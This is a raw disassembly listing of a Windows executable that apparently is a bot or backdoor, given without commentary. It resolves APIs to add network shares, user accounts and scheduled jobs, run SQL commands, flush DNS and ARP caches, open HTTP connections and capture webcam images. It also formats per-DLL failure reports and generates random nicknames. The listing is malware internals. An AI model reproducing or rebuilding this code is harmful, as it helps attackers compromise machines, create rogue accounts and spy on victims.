		jz	short loc_40A2E7
		cmp	dword_4CAFA0, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAF5C, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAF9C, ebx
		jz	short loc_40A2E7
		cmp	dword_4CB008, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAF54, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAF18, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAF88, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAFF8, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAF2C, ebx
		jz	short loc_40A2E7
		cmp	eax, ebx
		jnz	short loc_40A2F1
		jmp	short loc_40A2E7
; ---------------------------------------------------------------------------


loc_40A2DC:				; CODE XREF: sub_409B12+51Fj
		call	near ptr 2680000h
		nop
		mov	dword_4CB058, eax


loc_40A2E7:				; CODE XREF: sub_409B12+6BEj
					; sub_409B12+6CAj ...
		mov	dword_4CB054, 1


loc_40A2F1:				; CODE XREF: sub_409B12+7C6j
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A3F6
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	dword_4CAEB0, eax
		call	esi
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	dword_4CAE38, eax
		call	esi
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	dword_4CAF3C, eax
		call	esi
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	dword_4CAEE8, eax
		call	esi
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	dword_4CAF48, eax
		call	esi
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	dword_4CAF0C, eax
		call	esi
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	dword_4CAE78, eax
		call	esi
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	dword_4CAE70, eax
		call	esi
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	dword_4CAE80, eax
		call	esi
		cmp	dword_4CAEB0, ebx
		mov	ecx, dword_4CAF0C
		mov	dword_4CAFA8, eax
		jz	short loc_40A3D2
		cmp	dword_4CAE38, ebx
		jz	short loc_40A3D2
		cmp	dword_4CAF3C, ebx
		jz	short loc_40A3D2
		cmp	dword_4CAEE8, ebx
		jz	short loc_40A3D2
		cmp	dword_4CAF48, ebx
		jz	short loc_40A3D2
		cmp	ecx, ebx
		jz	short loc_40A3D2
		cmp	dword_4CAE78, ebx
		jz	short loc_40A3D2
		cmp	dword_4CAE70, ebx
		jz	short loc_40A3D2
		cmp	dword_4CAE80, ebx
		jz	short loc_40A3D2
		cmp	eax, ebx
		jnz	short loc_40A3DC


loc_40A3D2:				; CODE XREF: sub_409B12+87Ej
					; sub_409B12+886j ...
		mov	dword_4CB05C, 1


loc_40A3DC:				; CODE XREF: sub_409B12+8BEj
		cmp	ecx, ebx
		jz	short loc_40A411
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx
		cmp	eax, ebx
		mov	dword_4CAF24, eax
		jnz	short loc_40A411
		jmp	short loc_40A40B
; ---------------------------------------------------------------------------


loc_40A3F6:				; CODE XREF: sub_409B12+7EAj
		call	near ptr 2680000h
		nop
		mov	dword_4CB060, eax
		mov	dword_4CB05C, 1


loc_40A40B:				; CODE XREF: sub_409B12+8E2j
		mov	dword_4CAF24, ebx


loc_40A411:				; CODE XREF: sub_409B12+8CCj
					; sub_409B12+8E0j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A45B
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	dword_4CAEFC, eax
		call	esi
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	dword_4CB02C, eax
		call	esi
		cmp	dword_4CAEFC, ebx
		mov	dword_4CAE8C, eax
		jz	short loc_40A466
		cmp	dword_4CB02C, ebx
		jz	short loc_40A466
		cmp	eax, ebx
		jnz	short loc_40A470
		jmp	short loc_40A466
; ---------------------------------------------------------------------------


loc_40A45B:				; CODE XREF: sub_409B12+90Aj
		nop
		call	near ptr 2680000h
		mov	dword_4CB068, eax


loc_40A466:				; CODE XREF: sub_409B12+939j
					; sub_409B12+941j ...
		mov	dword_4CB064, 1


loc_40A470:				; CODE XREF: sub_409B12+945j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A577
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	dword_4CAE68, eax
		call	esi
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	dword_4CAE40, eax
		call	esi
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	dword_4CAEB8, eax
		call	esi
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	dword_4CAEEC, eax
		call	esi
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	dword_4CB004, eax
		call	esi
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	dword_4CAEA0, eax
		call	esi
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	dword_4CAE4C, eax
		call	esi
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	dword_4CAE3C, eax
		call	esi
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	dword_4CAED4, eax
		call	esi
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	dword_4CAFCC, eax
		call	esi
		push	offset aNetwkstagetinf ; "NetWkstaGetInfo"
		push	edi
		mov	dword_4CAF84, eax
		call	esi
		cmp	dword_4CAE68, ebx
		mov	dword_4CAEA8, eax
		jz	short loc_40A582
		cmp	dword_4CAE40, ebx
		jz	short loc_40A582
		cmp	dword_4CAEB8, ebx
		jz	short loc_40A582
		cmp	dword_4CAEEC, ebx
		jz	short loc_40A582
		cmp	dword_4CB004, ebx
		jz	short loc_40A582
		cmp	dword_4CAEA0, ebx
		jz	short loc_40A582
		cmp	dword_4CAE4C, ebx
		jz	short loc_40A582
		cmp	dword_4CAE3C, ebx
		jz	short loc_40A582
		cmp	dword_4CAED4, ebx
		jz	short loc_40A582
		cmp	dword_4CAFCC, ebx
		jz	short loc_40A582
		cmp	dword_4CAF84, ebx
		jnz	short loc_40A58C
		jmp	short loc_40A582
; ---------------------------------------------------------------------------


loc_40A577:				; CODE XREF: sub_409B12+969j
		nop
		call	near ptr 2680000h
		mov	dword_4CB070, eax


loc_40A582:				; CODE XREF: sub_409B12+A11j
					; sub_409B12+A19j ...
		mov	dword_4CB06C, 1


loc_40A58C:				; CODE XREF: sub_409B12+A61j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A5C1
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	dword_4CAE90, eax
		call	esi
		cmp	dword_4CAE90, ebx
		mov	dword_4CAF6C, eax
		jz	short loc_40A5CC
		cmp	eax, ebx
		jnz	short loc_40A5D6
		jmp	short loc_40A5CC
; ---------------------------------------------------------------------------


loc_40A5C1:				; CODE XREF: sub_409B12+A85j
		nop
		call	near ptr 2680000h
		mov	dword_4CB078, eax


loc_40A5CC:				; CODE XREF: sub_409B12+AA7j
					; sub_409B12+AADj
		mov	dword_4CB074, 1


loc_40A5D6:				; CODE XREF: sub_409B12+AABj
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A60B
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	dword_4CAFF0, eax
		call	esi
		cmp	dword_4CAFF0, ebx
		mov	dword_4CAFEC, eax
		jz	short loc_40A616
		cmp	eax, ebx
		jnz	short loc_40A620
		jmp	short loc_40A616
; ---------------------------------------------------------------------------


loc_40A60B:				; CODE XREF: sub_409B12+ACFj
		call	near ptr 2680000h
		nop
		mov	dword_4CB080, eax


loc_40A616:				; CODE XREF: sub_409B12+AF1j
					; sub_409B12+AF7j
		mov	dword_4CB07C, 1


loc_40A620:				; CODE XREF: sub_409B12+AF5j
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A67F
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	dword_4CB01C, eax
		call	esi
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	dword_4CB014, eax
		call	esi
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	dword_4CAFDC, eax
		call	esi
		cmp	dword_4CB01C, ebx
		mov	dword_4CAEAC, eax
		jz	short loc_40A68A
		cmp	dword_4CB014, ebx
		jz	short loc_40A68A
		cmp	dword_4CAFDC, ebx
		jz	short loc_40A68A
		cmp	eax, ebx
		jnz	short loc_40A694
		jmp	short loc_40A68A
; ---------------------------------------------------------------------------


loc_40A67F:				; CODE XREF: sub_409B12+B19j
		call	near ptr 2680000h
		nop
		mov	dword_4CB088, eax


loc_40A68A:				; CODE XREF: sub_409B12+B55j
					; sub_409B12+B5Dj ...
		mov	dword_4CB084, 1


loc_40A694:				; CODE XREF: sub_409B12+B69j
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A6C9
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	dword_4CAEE0, eax
		call	esi
		cmp	dword_4CAEE0, ebx
		mov	dword_4CAFE8, eax
		jz	short loc_40A6D4
		cmp	eax, ebx
		jnz	short loc_40A6DE
		jmp	short loc_40A6D4
; ---------------------------------------------------------------------------


loc_40A6C9:				; CODE XREF: sub_409B12+B8Dj
		call	near ptr 2680000h
		nop
		mov	dword_4CB090, eax


loc_40A6D4:				; CODE XREF: sub_409B12+BAFj
					; sub_409B12+BB5j
		mov	dword_4CB08C, 1


loc_40A6DE:				; CODE XREF: sub_409B12+BB3j
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A767
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	dword_4CAFB0, eax
		call	esi
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	dword_4CAFFC, eax
		call	esi
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	dword_4CAF38, eax
		call	esi
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	dword_4CAEF0, eax
		call	esi
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	dword_4CAF90, eax
		call	esi
		cmp	dword_4CAFB0, ebx
		mov	dword_4CAF00, eax
		jz	short loc_40A772
		cmp	dword_4CAFFC, ebx
		jz	short loc_40A772
		cmp	dword_4CAF38, ebx
		jz	short loc_40A772
		cmp	dword_4CAEF0, ebx
		jz	short loc_40A772
		cmp	dword_4CAF90, ebx
		jz	short loc_40A772
		cmp	eax, ebx
		jnz	short loc_40A77C
		jmp	short loc_40A772
; ---------------------------------------------------------------------------


loc_40A767:				; CODE XREF: sub_409B12+BD7j
		nop
		call	near ptr 2680000h
		mov	dword_4CB098, eax


loc_40A772:				; CODE XREF: sub_409B12+C2Dj
					; sub_409B12+C35j ...
		mov	dword_4CB094, 1


loc_40A77C:				; CODE XREF: sub_409B12+C51j
		push	offset aAvicap32_dll ; "avicap32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A7B1
		push	offset aCapcreatecaptu ; "capCreateCaptureWindowA"
		push	edi
		call	esi
		push	offset aCapgetdriverde ; "capGetDriverDescriptionA"
		push	edi
		mov	dword_4CAEC4, eax
		call	esi
		cmp	dword_4CAEC4, ebx
		mov	dword_4CAFA4, eax
		jz	short loc_40A7BC
		cmp	eax, ebx
		jnz	short loc_40A7C6
		jmp	short loc_40A7BC
; ---------------------------------------------------------------------------


loc_40A7B1:				; CODE XREF: sub_409B12+C75j
		call	near ptr 2680000h
		nop
		mov	dword_4CB0A0, eax


loc_40A7BC:				; CODE XREF: sub_409B12+C97j
					; sub_409B12+C9Dj
		mov	dword_4CB09C, 1


loc_40A7C6:				; CODE XREF: sub_409B12+C9Bj
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_409B12	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A7CE	proc near		; CODE XREF: sub_401ACD+2536p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		xor	esi, esi
		cmp	dword_4CB034, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_40A816
		push	dword_4CB038
		lea	eax, [ebp+var_200]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A816:				; CODE XREF: sub_40A7CE+1Aj
		cmp	dword_4CB03C, esi
		jz	short loc_40A84A
		push	dword_4CB040
		lea	eax, [ebp+var_200]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A84A:				; CODE XREF: sub_40A7CE+4Ej
		cmp	dword_4CB044, esi
		jz	short loc_40A87E
		push	dword_4CB048
		lea	eax, [ebp+var_200]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A87E:				; CODE XREF: sub_40A7CE+82j
		cmp	dword_4CB04C, esi
		jz	short loc_40A8B2
		push	dword_4CB050
		lea	eax, [ebp+var_200]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A8B2:				; CODE XREF: sub_40A7CE+B6j
		cmp	dword_4CB054, esi
		jz	short loc_40A8E6
		push	dword_4CB058
		lea	eax, [ebp+var_200]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A8E6:				; CODE XREF: sub_40A7CE+EAj
		cmp	dword_4CB05C, esi
		jz	short loc_40A91A
		push	dword_4CB060
		lea	eax, [ebp+var_200]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A91A:				; CODE XREF: sub_40A7CE+11Ej
		cmp	dword_4CB064, esi
		jz	short loc_40A94E
		push	dword_4CB068
		lea	eax, [ebp+var_200]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A94E:				; CODE XREF: sub_40A7CE+152j
		cmp	dword_4CB06C, esi
		jz	short loc_40A982
		push	dword_4CB070
		lea	eax, [ebp+var_200]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A982:				; CODE XREF: sub_40A7CE+186j
		cmp	dword_4CB074, esi
		jz	short loc_40A9B6
		push	dword_4CB078
		lea	eax, [ebp+var_200]
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A9B6:				; CODE XREF: sub_40A7CE+1BAj
		cmp	dword_4CB07C, esi
		jz	short loc_40A9EA
		push	dword_4CB080
		lea	eax, [ebp+var_200]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A9EA:				; CODE XREF: sub_40A7CE+1EEj
		cmp	dword_4CB084, esi
		jz	short loc_40AA1E
		push	dword_4CB088
		lea	eax, [ebp+var_200]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40AA1E:				; CODE XREF: sub_40A7CE+222j
		cmp	dword_4CB08C, esi
		jz	short loc_40AA52
		push	dword_4CB090
		lea	eax, [ebp+var_200]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40AA52:				; CODE XREF: sub_40A7CE+256j
		cmp	dword_4CB094, esi
		jz	short loc_40AA86
		push	dword_4CB098
		lea	eax, [ebp+var_200]
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40AA86:				; CODE XREF: sub_40A7CE+28Aj
		cmp	dword_4CB09C, esi
		jz	short loc_40AABA
		push	dword_4CB0A0
		lea	eax, [ebp+var_200]
		push	offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40AABA:				; CODE XREF: sub_40A7CE+2BEj
		lea	eax, [ebp+var_200]
		push	offset unk_42D330
		push	eax
		call	sub_41B886
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_40AAE7
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_40AAE7:				; CODE XREF: sub_40A7CE+302j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A7CE	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AAF9	proc near		; CODE XREF: sub_4017ED+4Fp
					; sub_401ACD+5C95p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4CAFB4
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_40AB21
		push	[esp+arg_0]
		call	dword_4CAFF8
		test	eax, eax
		jnz	short loc_40AB1A
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_40AB1A:				; CODE XREF: sub_40AAF9+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_40AB21:				; CODE XREF: sub_40AAF9+Dj
		retn
sub_40AAF9	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AB22	proc near		; CODE XREF: sub_4017ED+D6p
		mov	ecx, dword_4CAE90
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_40AB30
		call	ecx

locret_40AB30:				; CODE XREF: sub_40AB22+Aj
		retn
sub_40AB22	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AB31	proc near		; CODE XREF: sub_401ACD:loc_403F5Dp

var_88		= byte ptr -88h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ebx
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	ebx
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], ebx
		call	dword_4CAFF0
		mov	ecx, eax
		sub	ecx, edi
		jz	loc_40ABF7
		sub	ecx, 32h
		jz	loc_40ABF0
		sub	ecx, 48h
		jz	short loc_40AB91
		sub	ecx, 6Eh
		jz	short loc_40AB8A


loc_40AB73:				; CODE XREF: sub_40AB31+8Bj
		push	eax
		lea	eax, [ebp+var_88]
		push	offset unk_42D544
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_40ABD1
; ---------------------------------------------------------------------------


loc_40AB8A:				; CODE XREF: sub_40AB31+40j
		push	offset unk_42D520
		jmp	short loc_40ABC3
; ---------------------------------------------------------------------------


loc_40AB91:				; CODE XREF: sub_40AB31+3Bj
		push	[ebp+var_8]
		call	sub_41B4D5
		push	[ebp+var_8]
		mov	esi, eax
		push	edi
		push	esi
		call	sub_41B590
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_40ABBE
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	esi
		call	dword_4CAFF0
		cmp	eax, edi
		jz	short loc_40ABF7
		jmp	short loc_40AB73
; ---------------------------------------------------------------------------


loc_40ABBE:				; CODE XREF: sub_40AB31+79j
		push	offset unk_42D4F0


loc_40ABC3:				; CODE XREF: sub_40AB31+5Ej
					; sub_40AB31+C4j
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_40ABD1:				; CODE XREF: sub_40AB31+57j
		lea	eax, [ebp+var_88]
		mov	[ebp+var_4], edi
		push	eax
		call	sub_4151AC
		pop	ecx


loc_40ABE1:				; CODE XREF: sub_40AB31+C8j
					; sub_40AB31+DCj
		push	esi
		call	sub_41B0B1
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40ABF0:				; CODE XREF: sub_40AB31+32j
		push	offset unk_42D4C0
		jmp	short loc_40ABC3
; ---------------------------------------------------------------------------


loc_40ABF7:				; CODE XREF: sub_40AB31+29j
					; sub_40AB31+89j
		cmp	[esi], edi
		jbe	short loc_40ABE1
		lea	ebx, [esi+4]


loc_40ABFE:				; CODE XREF: sub_40AB31+DAj
		push	ebx
		call	dword_4CAFEC
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_40ABFE
		jmp	short loc_40ABE1
sub_40AB31	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AC0F	proc near		; CODE XREF: sub_401ACD+2247p
					; sub_401ACD+2398p ...

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	10h
		pop	eax
		mov	[ebp+var_4], eax
		push	eax
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAF18
		movzx	eax, [ebp+var_D]
		push	eax
		mov	esi, offset dword_4CB0A4
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	esi
		call	sub_41B886
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40AC0F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AC68	proc near		; CODE XREF: sub_412B08+24Cp
					; sub_412B08+292p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		cmp	esi, 1
		jle	short loc_40AC91
		mov	ecx, esi
		push	edi
		shr	ecx, 1
		mov	edx, ecx
		neg	edx
		lea	esi, [esi+edx*2]
		mov	edx, [esp+8+arg_0]


loc_40AC84:				; CODE XREF: sub_40AC68+24j
		movzx	edi, word ptr [edx]
		add	eax, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_40AC84
		pop	edi
		jmp	short loc_40AC95
; ---------------------------------------------------------------------------


loc_40AC91:				; CODE XREF: sub_40AC68+Aj
		mov	edx, [esp+4+arg_0]


loc_40AC95:				; CODE XREF: sub_40AC68+27j
		test	esi, esi
		pop	esi
		jz	short loc_40AC9F
		movzx	ecx, byte ptr [edx]
		add	eax, ecx


loc_40AC9F:				; CODE XREF: sub_40AC68+30j
		mov	ecx, eax
		and	eax, 0FFFFh
		shr	ecx, 10h
		add	ecx, eax
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		retn
sub_40AC68	endp


; =============== S U B	R O U T	I N E =======================================



sub_40ACB5	proc near		; CODE XREF: sub_40B08D+49p
					; DATA XREF: ___:off_42D590o

arg_0		= dword	ptr  4

		push	esi
		push	edi
		nop
		call	near ptr 2680D12h
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		xor	edx, edx
		mov	ecx, 48Fh
		div	ecx
		mov	edi, [esp+8+arg_0]
		push	off_42D5F8[edx*4]
		push	offset aS_1	; "%s"
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AD1D


loc_40ACF7:				; CODE XREF: sub_40ACB5+66j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B464
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40ACF7


loc_40AD1D:				; CODE XREF: sub_40ACB5+40j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_40ACB5	endp

; ---------------------------------------------------------------------------
		dw 5756h
		db 90h
		db 2 dup(0E8h),	5Fh
; ---------------------------------------------------------------------------
		daa
		add	dl, [eax-18h]
		test	al, 0Bh
		add	[eax], eax
		mov	edi, [esp+10h]
		mov	dword ptr [esp], offset	asc_42913C ; "-"
		push	offset aS_1	; "%s"
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AD7B


loc_40AD55:				; CODE XREF: ___:0040AD79j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B464
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AD55


loc_40AD7B:				; CODE XREF: ___:0040AD53j
		mov	eax, edi
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40AD80	proc near		; CODE XREF: sub_401ACD+69CCp

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		nop
		call	near ptr 2680D12h
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		push	3
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		xor	edi, edi
		idiv	ecx
		mov	esi, edx
		add	esi, dword_429098
		test	esi, esi
		jle	short loc_40ADC3


loc_40ADAD:				; CODE XREF: sub_40AD80+41j
		call	sub_41B8E2
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_40ADAD


loc_40ADC3:				; CODE XREF: sub_40AD80+2Bj
		and	byte ptr [edi+ebx], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40AD80	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
